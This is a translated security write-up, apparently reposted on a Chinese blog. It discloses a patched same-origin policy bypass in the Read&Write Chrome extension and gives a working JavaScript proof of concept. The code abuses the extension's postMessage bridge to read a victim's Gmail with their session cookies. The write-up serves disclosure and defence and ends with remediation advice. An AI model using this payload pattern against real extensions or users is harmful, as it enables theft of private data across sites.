使用Chrome扩展程序进行同源策略绕过来读取用户的电子邮件

2019-04-15 约 2544 字 预计阅读 6 分钟

声明:本文 【使用Chrome扩展程序进行同源策略绕过来读取用户的电子邮件】 由作者 Pinging 于 2019-04-15 09:27:00 首发 先知社区 曾经 浏览数 20 次

感谢 Pinging 的辛苦付出!

本文为2018年十大网络黑客技术题名文章,欢迎来读

摘要

由于常规网页在传递消息的过程中缺乏正确的检查,所以这些网页中的Chrome扩展程序均可以调用后台页面的API。这些API对一些危险的操作并没有进行过滤,然而这些操作不能由互联网上的网页进行调用。例如,后台API可以调用“thGetVoices”方法,并提供由扩展名进行检索的URL以及通过“postMessage”方法返回的响应。通过此调用,攻击者可以使用受害者的身份会话进行劫持以从其他网站读取数据。为了验证我的设想,我创建了一个漏洞利用程序,在安装了扩展程序后,我成功的窃取并打印出所有用户的电子邮件。这并不是Gmail中的漏洞,而是使用此漏洞而产生的漏洞利用示例。texthelp在下一个工作日对其进行了修复工作。因此,最新版本的扩展程序不会受到此问题的影响。他们将进一步加强代码库的编写工作。

漏洞利用过程

Read&Write 谷歌扩展程序使用脚本“inject.js”将自定义工具栏注入各种在线文档页面,例如Google Docs。 默认情况下,此内容脚本将注入所有HTTPHTTPS源。 扩展的清单中的以下摘录证明了这一点:

...trimmed for brevity...
  "content_scripts": [
    {
      "matches": [ "https://*/*", "http://*/*" ],
      "js": [ "inject.js" ],
      "run_at": "document_idle",
      "all_frames": true
    }
  ],
...trimmed for brevity...

在“inject.js”文件中,有一个事件监听器,用于通过postMessage并使用内容脚本注入的网页来发送消息:

window.addEventListener("message", this.onMessage)

这会在网页窗口的postMessage上调用“this.onMessage”函数。 以下是此功能的代码:

function onMessage() {
    void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
        enabledRW4GC: !1
    }) : chrome.extension.sendRequest(event.data, function(e) {
        window.postMessage(e, "*")
    }))
}

在上面的代码片段中,可以看到该函数将通过“chrome.extension.sendRequest”将所有收到的postMessage消息传递给后台页面。 此外,对这些消息的响应将传递回“onMessage”函数,然后传递回网页。 这构造了一个代理,允许常规网页将消息发送到读写后台页面。

Read&Write有许多后台页面,可以在扩展名清单的摘录中看到:

...trimmed for brevity...
"background": {
  "scripts": [
    "assets/google-analytics-bundle.js",
    "assets/moment.js",
    "assets/thFamily3.js",
    "assets/thHashing.js",
    "assets/identity.js",
    "assets/socketmanager.js",
    "assets/thFunctionManager.js",
    "assets/equatio-latex-extractor.js",
    "assets/background.js",
    "assets/xmlIncludes/linq.js",
    "assets/xmlIncludes/jszip.js",
    "assets/xmlIncludes/jszip-load.js",
    "assets/xmlIncludes/jszip-deflate.js",
    "assets/xmlIncludes/jszip-inflate.js",
    "assets/xmlIncludes/ltxml.js",
    "assets/xmlIncludes/ltxml-extensions.js",
    "assets/xmlIncludes/testxml.js"
  ]
},
...trimmed for brevity...

虽然有许多背景页面可以监听消息(以及许多通过这些消息调用的函数),但我们将主要研究于一个可进行利用的示例。 以下是文件“background.js”的摘录:

...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
    if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
        method: "thGetVoices",
        type: "1757FROM_BGRW4G",
        payload: {
            response: g_voices
        }
    });
    var c = new XMLHttpRequest;
    c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
        4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
            method: "thGetVoices",
            type: "1757FROM_BGRW4G",
            payload: {
                response: g_voices
            }
        }))
    }, c.send()
}
...trimmed for brevity...

上面的代码片段显示,当“chrome.extension.onRequest”侦听器被一个事件触发时,其“method”被设置为“thGetVoices”“type”设置为“1757FROM_PAGERW4G”,将执行该片段。 如果事件的“payload.refresh”设置为字符串“true”,则XMLHTTPRequest将使用GET触发“payload.url”中指定的URL。 在XMLHTTPRequest完成,状态代码为200时,将使用请求的responseText生成响应消息。

通过使用此调用,我们可以使用URL向后台页面发送消息,该URL将与HTTP响应正文一起回复。 此请求将使用受害者的cookie执行,因此将允许网页上的payload窃取来自其他Web的内容。 以下payload是一个利用此功能的示例的例子:

function exploit_get(input_url) {
    return new Promise(function(resolve, reject) {
        var delete_callback = false;
        var event_listener_callback = function(event) {
            if ("data" in event && event.data.payload.response) {
                window.removeEventListener("message", event_listener_callback, false);
                resolve(event.data.payload.response);
            }
        };
        window.addEventListener("message", event_listener_callback, false);
        window.postMessage({
            type: "1757FROM_PAGERW4G",
            "method": "thGetVoices",
            "payload": {
                "refresh": "true",
                "url": input_url
            }
        }, "*");
    });
}
setTimeout(function() {
    exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
        alert("Gmail emails have been stolen!");
        alert(response_body);
    });
}, 1000);

上述漏洞利用代码进行攻击,并可以通过此漏洞读取跨源响应。在这种情况下,我们提供了Gmail的“简单HTML”版本的端点。上述payload可以托管在任何网站上,并且可以读取Gmail的用户的电子邮件。这个过程通过postMessage发出带有相应payload的消息并为响应消息添加事件监听器。通过链接通过“exploit_get()”函数返回的JavaScript Promises,我们可以从用户通过身份验证的任何站点窃取数据(假设可以通过HTTP GET访问而无需任何特殊标头)。

上面的示例引用了“thGetVoices”后台方法进行调用,但这只是调用后台页面API时出现的漏洞之一。除了使用此调用之外,还可以利用以下漏洞的其他一些示例:

“thExtBGAjaxRequest”,攻击者可以使用它来执行带有参数的“application/x-www-form-urlencoded; charset = UTF-8”类型的任意POST请求并读取响应正文。
“OpenTab”允许攻击者打开网页中的选项卡操作。

补救措施

此漏洞为一个常见的安全隐患,通常会在扩展程序处出现。 为了更灵活地使用Chrome扩展程序API,许多扩展程序将构建一个桥接,以允许从常规Web上下文中调用后台页面。 然而许多Chrome扩展程序开发人员忘记验证邮件的来源,所以在这种情况下,理想的操作可能是将大部分逻辑移动到内容脚本中,而不是通过postMessage进行调用。通过验证isTrusted属性触发的事件侦听器进行调用。 通过这种方式,可以确保所有呼叫都由用户操作触发,而不是由攻击者伪造。

本文为翻译稿件,来自:[https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html](https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html)

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now